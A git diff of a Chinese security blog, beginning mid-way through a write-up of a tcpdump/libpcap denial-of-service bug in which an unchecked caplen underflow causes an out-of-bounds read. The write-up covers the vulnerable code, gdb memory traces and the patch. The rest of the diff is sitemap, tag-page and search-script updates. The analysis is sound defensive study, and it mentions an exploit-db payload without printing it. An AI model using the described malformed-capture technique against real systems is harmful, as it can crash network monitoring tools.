ND_PRINT((ndo,&quot;%04x:%s &quot;, panid, le64addr_string(p)));72. p += 8;73. break;74. &#125;75. ND_PRINT((ndo,&quot;&lt; &quot;);76. switch ((fc &gt;&gt; 14) &amp; 0x3) &#123;77. case 0x00:78. ND_PRINT((ndo,&quot;none &quot;));79. break;80. case 0x01:81. ND_PRINT((ndo,&quot;reserved source addressing mode&quot;));82. return 0;83. case 0x02:84. if (!(fc &amp; (1 &lt;&lt; 6))) &#123;85. panid = EXTRACT_LE_16BITS(p);86. p += 2;87. &#125;88. ND_PRINT((ndo,&quot;%04x:%04x &quot;, panid, EXTRACT_LE_16BITS(p)));89. p += 2;90. break;91. case 0x03:92. if (!(fc &amp; (1 &lt;&lt; 6))) &#123;93. panid = EXTRACT_LE_16BITS(p);94. p += 2;95. &#125;96. ND_PRINT((ndo,&quot;%04x:%s &quot;, panid, le64addr_string(p))));97. p += 8;98. break;99. &#125;100. caplen -= hdrlen;101. &#125; 传入的第二个值是struct pcap_pkthdr *h结构体，函数使用的参数caplen就是结构体中的caplen，不难看出，caplen进行一些加减操作后，没有判断正负，直接丢给了下一个函数使用。直接跟进函数，看看最后赋值情况 从源码和调试信息可以看到libpcap在处理不正常包时不严谨，导致包的头长度hdrlen竟然大于捕获包长度caplen，并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数，导致caplen==0xfffffff3过长。继续跟进hex_and_asciii_print(ndo_default_print) 123456789101112131415161718192021222324252627282930311. void2. hex_and_ascii_print(register const char *ident, register const u_char *cp,3. register u_int length)4. &#123;5. hex_and_ascii_print_with_offset(ident, cp, length, 0);6. &#125;其中length==0xfffffff3，继续执行1. void2. hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,3. register u_int oset)4. &#123;5. register u_int i, s;6. register int nshorts;7.8. nshorts = (u_int) length / sizeof(u_short);9. i = 0;10. while (--nshorts &gt;= 0) &#123;11. if ((i++ % 8) == 0) &#123;12. (void)printf(&quot;%s0x%04x: &quot;, ident, oset);13. oset += HEXDUMP_BYTES_PER_LINE;14. &#125;15. s = *cp++; &lt;======= 抛出错误位置16. (void)printf(&quot; %02x%02x&quot;, s, *cp++);17. &#125;18. if (length &amp; 1) &#123;19. if ((i % 8) == 0)20. (void)printf(&quot;%s0x%04x: &quot;, ident, oset);21. (void)printf(&quot; %02x&quot;, *cp);22. &#125;nshorts=(u_int) length / sizeof(u_short) =&gt; nshorts=0xfffffff3/2=‭7FFFFFF9‬‬‬‬ 但数据包数据没有这么长，导致了crash。 内存分析仔细分析之后发现，通过len判断的这个长度并没有进行控制，如果是自己构造的一个超长len的数据包，则会连续读取到不可估计的值。通过查看epx的值来看一下这个内存到底开辟到什么位置12341. gdb-peda$ x/10000000x 0x81e33bd2. 0x8203fdd: 0x00000000 0x00000000 0x00000000 0x000000003. 0x8203fed: 0x00000000 0x00000000 0x00000000 0x000000004. 0x8203ffd: Cannot access memory at address 0x8204000 可以看到，到达0x 8204000附近的时候，就是无法读取的无效地址了，那么初始值为0x 81e33bd，用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40，因为ebx+ebp*2+0x1一次读取两个字节，那么循环计数器就要除以2，最后结果为0x 10620。来看一下到达拒绝服务位置读取的长度：EBX: 0x81e33bd –&gt; 0x0；EBP: 0x10621；EBP刚好为10621。正是不可读取内存空间的地址，因此造成拒绝服务。 漏洞总结总结一下整个漏洞触发过程，首先tcpdump会读取恶意构造的pcap包，在构造pcap包的时候，设置一个超长的数据包长度，tcpdump会根据len的长度去读取保存在内存空间数据包的内容，当引用到不可读取内存位置时，会由于引用不可读指针，造成拒绝服务漏洞。 漏洞修补Libpcap依然是apt安装的默认版本，tcpdump使用4.7 .0-bp版本在hex_and_ascii_print_with_offset中增加对caplength的判断1234567891. caplength = (ndo-&gt;ndo_snapend &gt;= cp) ? ndo-&gt;ndo_snapend - cp : 0;2. if (length &gt; caplength)3. length = caplength;4. nshorts = length / sizeof(u_short);5. i = 0;6. hsp = hexstuff; asp = asciistuff;7. while (--nshorts &gt;= 0) &#123;8. ...9. &#125; 可以看到执行完caplength = (ndo-&gt;ndo_snapend &gt;= cp) ? ndo-&gt;ndo_snapend - cp : 0;，caplength为0，继续执行，可以推出length同样为0，到这里已经不会发生错误了。 参考exploit-db payloadWHEREISK0SHL分析博客libpcap/tcpdump源码]]></content>
       <categories>
-        <category>二进制漏洞</category>
+        <category>二进制</category>
       </categories>
       <tags>
         <tag>TCPDUMP</tag>
diff --git a/sitemap.xml b/sitemap.xml
index 310c16c7..33485675 100644
--- a/sitemap.xml
+++ b/sitemap.xml
@@ -1,6 +1,20 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
   
+  <url>
+    <loc>https://cool-y.github.io/2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/</loc>
+    
+    <lastmod>2019-03-28T07:54:21.703Z</lastmod>
+    
+  </url>
+  
+  <url>
+    <loc>https://cool-y.github.io/2019/03/28/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C/</loc>
+    
+    <lastmod>2019-03-28T07:54:18.434Z</lastmod>
+    
+  </url>
+  
   <url>
     <loc>https://cool-y.github.io/bookmarks/index.html</loc>
     
@@ -64,13 +78,6 @@
     
   </url>
   
-  <url>
-    <loc>https://cool-y.github.io/2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/</loc>
-    
-    <lastmod>2019-03-23T04:44:22.487Z</lastmod>
-    
-  </url>
-  
   <url>
     <loc>https://cool-y.github.io/about/index.html</loc>
     
diff --git a/tags/CVE/index.html b/tags/CVE/index.html
index 2d2b6f05..3afbaa57 100644
--- a/tags/CVE/index.html
+++ b/tags/CVE/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -476,7 +476,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/tags/QQ/index.html b/tags/QQ/index.html
index 879f4b55..c147fab2 100644
--- a/tags/QQ/index.html
+++ b/tags/QQ/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -476,7 +476,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/tags/SSH/index.html b/tags/SSH/index.html
index 4fbf151f..b3dbef69 100644
--- a/tags/SSH/index.html
+++ b/tags/SSH/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -476,7 +476,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/tags/Samba/index.html b/tags/Samba/index.html
index 57c8ea51..3016bbbe 100644
--- a/tags/Samba/index.html
+++ b/tags/Samba/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -476,7 +476,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/tags/TCPDUMP/index.html b/tags/TCPDUMP/index.html
index 645adb75..80c820f3 100644
--- a/tags/TCPDUMP/index.html
+++ b/tags/TCPDUMP/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -476,7 +476,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/tags/USENIX/index.html b/tags/USENIX/index.html
index b4532da0..a24a4d12 100644
--- a/tags/USENIX/index.html
+++ b/tags/USENIX/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -476,7 +476,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/tags/index.html b/tags/index.html
index ccebbb83..4247e419 100644
--- a/tags/index.html
+++ b/tags/index.html
@@ -308,10 +308,10 @@
         
           <div class="tag-cloud">
             <div class="tag-cloud-title">
-                目前共计 24 个标签
+                目前共计 25 个标签
             </div>
             <div class="tag-cloud-tags">
-              <a href="/tags/CVE/" style="font-size: 12px; color: #ccc">CVE</a> <a href="/tags/QQ/" style="font-size: 12px; color: #ccc">QQ</a> <a href="/tags/SSH/" style="font-size: 12px; color: #ccc">SSH</a> <a href="/tags/Samba/" style="font-size: 12px; color: #ccc">Samba</a> <a href="/tags/TCPDUMP/" style="font-size: 12px; color: #ccc">TCPDUMP</a> <a href="/tags/USENIX/" style="font-size: 12px; color: #ccc">USENIX</a> <a href="/tags/itchat/" style="font-size: 12px; color: #ccc">itchat</a> <a href="/tags/miio/" style="font-size: 12px; color: #ccc">miio</a> <a href="/tags/python/" style="font-size: 12px; color: #ccc">python</a> <a href="/tags/wifi/" style="font-size: 12px; color: #ccc">wifi</a> <a href="/tags/中间人/" style="font-size: 12px; color: #ccc">中间人</a> <a href="/tags/侧信道攻击/" style="font-size: 12px; color: #ccc">侧信道攻击</a> <a href="/tags/密码/" style="font-size: 12px; color: #ccc">密码</a> <a href="/tags/小米/" style="font-size: 30px; color: #111">小米</a> <a href="/tags/微信/" style="font-size: 12px; color: #ccc">微信</a> <a href="/tags/拒绝服务攻击/" style="font-size: 12px; color: #ccc">拒绝服务攻击</a> <a href="/tags/数据库/" style="font-size: 12px; color: #ccc">数据库</a> <a href="/tags/数据挖掘/" style="font-size: 12px; color: #ccc">数据挖掘</a> <a href="/tags/文件格式/" style="font-size: 12px; color: #ccc">文件格式</a> <a href="/tags/模型实现/" style="font-size: 12px; color: #ccc">模型实现</a> <a href="/tags/自然语言处理/" style="font-size: 12px; color: #ccc">自然语言处理</a> <a href="/tags/访问控制/" style="font-size: 12px; color: #ccc">访问控制</a> <a href="/tags/远程执行/" style="font-size: 12px; color: #ccc">远程执行</a> <a href="/tags/重放攻击/" style="font-size: 12px; color: #ccc">重放攻击</a>
+              <a href="/tags/逆向/" style="font-size: 12px; color: #ccc">-逆向</a> <a href="/tags/CVE/" style="font-size: 12px; color: #ccc">CVE</a> <a href="/tags/QQ/" style="font-size: 12px; color: #ccc">QQ</a> <a href="/tags/SSH/" style="font-size: 12px; color: #ccc">SSH</a> <a href="/tags/Samba/" style="font-size: 12px; color: #ccc">Samba</a> <a href="/tags/TCPDUMP/" style="font-size: 12px; color: #ccc">TCPDUMP</a> <a href="/tags/USENIX/" style="font-size: 12px; color: #ccc">USENIX</a> <a href="/tags/itchat/" style="font-size: 12px; color: #ccc">itchat</a> <a href="/tags/miio/" style="font-size: 12px; color: #ccc">miio</a> <a href="/tags/python/" style="font-size: 12px; color: #ccc">python</a> <a href="/tags/wifi/" style="font-size: 12px; color: #ccc">wifi</a> <a href="/tags/中间人/" style="font-size: 12px; color: #ccc">中间人</a> <a href="/tags/侧信道攻击/" style="font-size: 12px; color: #ccc">侧信道攻击</a> <a href="/tags/密码/" style="font-size: 12px; color: #ccc">密码</a> <a href="/tags/小米/" style="font-size: 30px; color: #111">小米</a> <a href="/tags/微信/" style="font-size: 12px; color: #ccc">微信</a> <a href="/tags/拒绝服务攻击/" style="font-size: 12px; color: #ccc">拒绝服务攻击</a> <a href="/tags/数据库/" style="font-size: 12px; color: #ccc">数据库</a> <a href="/tags/数据挖掘/" style="font-size: 12px; color: #ccc">数据挖掘</a> <a href="/tags/文件格式/" style="font-size: 12px; color: #ccc">文件格式</a> <a href="/tags/模型实现/" style="font-size: 12px; color: #ccc">模型实现</a> <a href="/tags/自然语言处理/" style="font-size: 12px; color: #ccc">自然语言处理</a> <a href="/tags/访问控制/" style="font-size: 12px; color: #ccc">访问控制</a> <a href="/tags/远程执行/" style="font-size: 12px; color: #ccc">远程执行</a> <a href="/tags/重放攻击/" style="font-size: 12px; color: #ccc">重放攻击</a>
             </div>
           </div>
         
@@ -369,7 +369,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -380,7 +380,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -391,7 +391,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -468,7 +468,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/tags/itchat/index.html b/tags/itchat/index.html
index 710ad021..0e321f5c 100644
--- a/tags/itchat/index.html
+++ b/tags/itchat/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -476,7 +476,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/tags/miio/index.html b/tags/miio/index.html
index 8bfe8147..4ab9a7da 100644
--- a/tags/miio/index.html
+++ b/tags/miio/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
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diff --git a/tags/中间人/index.html b/tags/中间人/index.html
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+  
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+  <div class="popup search-popup local-search-popup">
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+    </div>
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+ </div>
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+    <main id="main" class="main">
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+  
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+  <div class="post-block tag">
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+    <div id="posts" class="posts-collapse">
+      <div class="collection-title">
+        <h1>-逆向<small>标签</small>
+        </h1>
+      </div>
+
+      
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
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+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/03/28/逆向工程实验/" itemprop="url">
+              
+                <span itemprop="name">逆向工程实验</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-03-28T15:25:04+08:00" content="2019-03-28">
+          03-28
+        </time>
+      </div>
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+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
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+          <nav class="site-state motion-element">
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+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
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+                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-name">日志</span>
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+                <a href="/tags/index.html">
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+            <div class="links-of-author motion-element">
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+                  <span class="links-of-author-item">
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+                      
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+                  </span>
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+                    <a href="http://weibo.com/HanYanOpenFire" target="_blank" title="Weibo">
+                      
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+                  </span>
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+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
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+                  </span>
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+                      
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+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
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+                  // merge hits into slices
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+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
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+                        searchTextCountInSlice++;
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+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
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+                      // move to next position of hit
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+                      index.pop();
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+                        position = item.position;
+                        word = item.word;
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+                      }
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+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
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+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
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+                    }
+                    if (end < position + word.length) {
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+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
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+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
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+                  resultItem += "</li>";
+                  resultItems.push({
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+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
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+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
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+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
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+                inputEventFunction();
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+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
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+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
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+        proceedsearch();
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+    });
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+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
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+    $(document).on('keyup', function (event) {
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+      query.find()
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+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
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+            counter.increment("time");
+            counter.save(null, {
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+                var $element = $(document.getElementById(url));
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+              },
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+                console.log('Failed to save Visitor num, with error message: ' + error.message);
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+        },
+        error: function(error) {
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+      });
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+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
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+    });
+  </script>
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+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
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+  
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+  
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+</body>
+</html>
diff --git a/tags/重放攻击/index.html b/tags/重放攻击/index.html
index a53c59ab..c02424a7 100644
--- a/tags/重放攻击/index.html
+++ b/tags/重放攻击/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
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@@ -476,7 +476,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>